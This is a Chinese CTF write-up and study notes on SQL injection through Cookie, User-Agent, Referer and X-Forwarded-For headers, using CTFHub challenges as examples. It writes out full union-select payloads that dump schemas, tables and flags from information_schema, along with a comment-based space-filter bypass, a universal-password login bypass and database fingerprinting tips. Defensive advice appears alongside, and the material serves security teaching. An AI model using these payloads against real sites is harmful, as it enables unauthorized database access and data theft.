Cookie注入
Cookie 注入原理
Cookie 注入的原理也和其他注入一样，只不过是将提交的参数以 Cookie 方式提交，而一般的注入是使用 GET 或者 POST 方式提交，GET 方式提交就是直接在网址后面加上需要注入的语句，POST 方式则是通过表单，GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数，而 Cookie 注入却不能。
应用
一般使用cookie注入都是伪造cookie进行注入到数据库中而达到获取未经授权数据文件的目的。
防御
- 对于从Cookie中提取的数据，始终进行充分的验证和过滤。
- 使用参数化查询或预编译语句，而不是将用户提供的数据直接拼接到SQL查询中。
- 最小化数据库用户的权限，确保数据库用户只能执行必要的操作。
- 定期更新和修补应用程序以解决已知的安全漏洞。
解题
进入环境就得到这个页面
F12+网络查看cookie，发现想要继续进行就要利用bp抓包进行注入
接着开始注入，方法就是和盲注差不多，都是要进行判断爆破
使用'and 1 = 1'进行测试，判断是否存在sql注入
判断出存在sql注入且注入方式为整数型注入
使用order by 判断字段数量，判断出字段数量为2列
知道字段数量为2后，可以查看数据库位置，使用联合注入union select 1,2查看未发现数据
判断数据可能不存在数据库中，在id=1中加入负号查看数据
修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22
修改2为database()，查看数据库名，发现数据库版本为sqli
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
在全部数据库名中发现sqli，最后在sqli数据库中发现news和xavygzkmdt两个表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' 
先查看xavygzkmdt表中的全部字段名，发现一个数据名为sepimfwspx
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xavygzkmdt' 
查看数据sepimfwspx中的内容，发现此题flag
-1 union select 1,group_concat(sepimfwspx) from sqli.xavygzkmdt
ctfhub{6045c2d822a696ba66fa65ed}
UA注入
User Agent 注入概述
User-Agent 首部包含了一个特征字符串，用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库，用来收集和统计用户信息，如果操作不当就有可能会导致 UA 注入。
解题
进入环境得到
要进行UA注入，可以用bp抓包进行注入，也可以使用浏览器插件hackbar进行注入
先用1 and 1=1来进行判断是否存在sql注入并判断出注入类型
存在sql注入且还是整数型注入
使用order by 判断字段数量
从order by 1开始注入到 order by 3没有回显，证明字段数量为2列
知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据
判断数据可能不存在数据库中，将1改为-1查看数据
修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22
修改2为database()，查看数据库名，发现数据库版本为sqli
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
在全部数据库名中发现sqli，最后在sqli数据库中发现ycdkqyhwly和news两个表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
先查看ycdkqyhwly表中的全部字段名，发现一个数据名为vfkuxlgmjs
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ycdkqyhwly'
查看数据vfkuxlgmjs中的内容，发现此题flag
-1 union select 1,group_concat(vfkuxlgmjs) from sqli.ycdkqyhwly
ctfhub{0f980060810ed3b9edea3261}
笔记
UA注入原理
UA注入是一种特定类型的SQL注入攻击，它利用了用户代理（User-Agent，简称UA）字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息，其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
UA注入攻击的原理与常规的SQL注入攻击类似，都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是，它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL，而是利用UA字符串作为输入。攻击者可以通过修改UA字符串，将恶意的SQL代码插入到应用程序的数据库查询中。
防御
对于从UA字符串中提取的数据，始终进行充分的验证和过滤。
确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
使用参数化查询或预编译语句，而不是将用户提供的数据直接拼接到SQL查询中。
最小化数据库用户的权限，确保数据库用户只能执行必要的操作。
SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式，它利用了应用程序中使用的UA来进行攻击。
联合注入的流程
联合注入的过程
1、判断注入点
2、判断是闭合形式
3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
Refer注入
Refer注入原理
Refer注入是一种利用HTTP头字段中的Referer（引荐者）信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源，即用户是通过哪个页面或链接访问当前页面的。
Refer注入攻击的原理是通过篡改Referer字段中的值，将恶意的SQL代码插入到应用程序的数据库查询中，从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段，将恶意的SQL代码作为Referer值注入进去。
防御
对于从Referer字段中提取的数据，始终进行充分的验证和过滤。
确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
使用参数化查询或预编译语句，而不是将用户提供的数据直接拼接到SQL查询中。
最小化数据库用户的权限，确保数据库用户只能执行必要的操作。
在应用程序中实施访问控制和身份验证，限制用户对敏感数据和操作的访问。
解题
同样的cookie注入，UA注入，Refer注入都可以用浏览器插件hackbar进行注入，也可以用bp抓包更改信息进行注入，伪造cookie，UA，Refer发送请求而达到注入的目的。
进入环境， F12启用hackbar插件
先用1 and 1=1,判断是否存在sql注入及注入类型
存在sql注入并且注入类型为整数型注入
使用order by 判断字段数量
1 order by 1
知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据
1 union select 1,2
判断数据可能不存在数据库中，将1改为-1查看数据
-1 union select 1,2
修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22
修改2为database()，查看数据库名，发现数据库版本为sqli
查看全部数据库名
-1 union select 1,group_concat(schema_name)from information_schema.schemata
在全部数据库名中发现sqli，最后在sqli数据库中发现ajlpvakrna和news两个表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
先查看ajlpvakrna表中的全部字段名，发现一个数据名为hjxducrloy
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ajlpvakrna'
查看数据hjxducrloy中的内容，发现此题flag
-1 union select 1,group_concat(hjxducrloy) from sqli.ajlpvakrna
过滤空格
进入环境先输入1
输入1 and 1=1,会报错
进行过滤空格
1/**/and/**/1/**/=/**/1
存在sql注入且注入类型为整数型注入
查询列数
1/**/order/**/by/**/1
到3的时候没有回显
知道字段数量为2后，可以查看数据库位置，使用union select 1,2查看未发现数据
1/**/union/**/select/**/1,2
判断数据可能不存在数据库中，将1改为-1查看数据
-1/**/union/**/select/**/1,2
修改2为version()，查看数据库版本，发现数据库版本为MariaDB 10.3.22
-1/**/union/**/select/**/1,version()
修改2为database()，查看数据库名，发现数据库版本为sqli
-1/**/union/**/select/**/1,database()
查看全部数据库名
-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata
在全部数据库名中发现sqli，最后在sqli数据库中发现htdxjvkudj和news两个表名
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
先查看htdxjvkudj表中的全部字段名，发现一个数据名为vklvjwstxw
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='htdxjvkudj'
查看数据vklvjwstxw中的内容，发现此题flag
-1/**/union/**/select/**/1,group_concat(vklvjwstxw)/**/from/**/sqli.htdxjvkudj
ctfhub{89cb473f4f1e9c294f48fb4a}
SQL注入总结笔记
参考：【超详细版】学习SQL注入看这篇就够了（原理及思路绕过）_sql注入教程_网络安全-李彦暗的博客-CSDN博客
SQL注入原理
1.SQL注入概念及产生原因：
当web应用向后台数据库传递SQL语句进行数据库操作时，如果对用户输入的参数没有经过严格的过滤处理，那么攻击者就可以构造特殊的SQL语句，直接输入数据库引擎执行，获取或修改数据库中的数据。
2.SQL注入的本质：
把用户输入的数据当作代码来执行，违背了“数据与代码分离”的原则
3.SQL注入的两个关键点：
1，用户能控制输入的内容； 2，web应用把用户输入的内容带入到数据库执行；
SQL注入基础危害：
）盗取网站的敏感信息;
）绕过网站后台认证 后台登录语句： SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码：‘or ’1‘ = ’1‘ # ;
）借助SQL注入漏洞提权获取系统权限;
）读取文件信息。
MYSQL数据库注入-常用函数：
（1）user() 返回当前使用数据库的用户，也就是网站配置文件中连接数据库的账号 （2）version() 返回当前数据库的版本 （3）database() 返回当前使用的数据库，只有在use命令选择一个数据库之后，才能查到 （4）group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 （5）@@datadir 数据库路径 （6）@@version_compile_os 操作系统版本
SQL（联合）注入流程：
?id=1 and 1=1
1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合，反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1，2，3，4，5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database()，user()，4...... 4、获取全部数据库名
union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)
5、获取表名
union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'
6、获取字段名
union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'
7、获取数据 union select 1,2,(select group_concat(字段1，字段2)from 库名.表名
函数名称： 函数功能：
查 库： select schema\_name from information\_schema.schema
查 表： select table\_name from information\_schema.tables where table\_schema=库名
查 列： select column\_name from information\_schema.columns where table\_name=表名
查数据： select 列名 from 库名.表名
总结--普通SQL注入必备条件：
1、界面能够回显数据库查询到的数据（必要条件）；
2、界面回显内容至少能够显示数据库中的某列数据（必要条件）；
3、部分能够直接提供数据库报错内容的回显；
SQL注入思路
1.判断注入点
在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句，尝试是否存在数据库参数读取行为，以及能否对其参数产生影响，如产生影响则说明存在注入点。
sql注入点类型
get注入
在get传参时写入参数，将SQl语句闭合，后面加写入自己的SQL语句。post注入
通过post传参，原理与get一样，重要的是判断我们所输入的信息是否与数据库产生交互，其次判断SQL语句是如何闭合的。有些网站通过查询cookie判断用户是否登录，需要与数据库进行交互，我们可以修改cookie的值，查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
Referer注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错，有些网站会记录ip和访问路径，例如百度就是通过Referer来统计网站流量，我们将访问路径进行SQL注入，同样也可以得到想要的信息。XFF注入
在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ，用户在注册的时候，如果存在安全隐 患，会出现错误页面或者报错。从而导致注册或者登录用户失败。
burpsuite 抓包，提交输入检测语句：X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#两次提交返回不一样，存在 SQL 注入漏洞
UA注入
输入点在User-Agent
2.判断数据库类型
判断网站使用的是哪个数据库，常见数据库如：
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等
在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型，因为我们不容易知道对方使用的是什么数据库。
目前来说，企业使用MSSQL即SQLserver的数量最多，MySQL其次，Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。
常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断，如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断
端口扫描
如果可以对主机进行端口扫描，可以根据是否开启对应端口，来大概判断数据库类型。
Oracle
默认端口号：1521
SQL Server
默认端口号：1433
MySQL
默认端口号：3306
PostgreSql
默认端口号：5432
网站类型与数据库的联系
asp：SQL Server，Access
.net ：SQL Server
php：Mysql，PostgreSql
java：Oracle，Mysql
根据注释符判断“#”是MySQL中的注释符，返回错误说明该注入点可能不是MySQL，另外也支持’-- ',和/* */注释（注意mysql使用-- 时需要后面添加空格）
“null”和“%00”是Access支持的注释。
“--”是Oracle和MSSQL支持的注释符，如果返回正常，则说明为这两种数据库类型之一。
“;”是子句查询标识符，Oracle不支持多行查询，因此如果返回错误，则说明很可能是Oracle数据库。
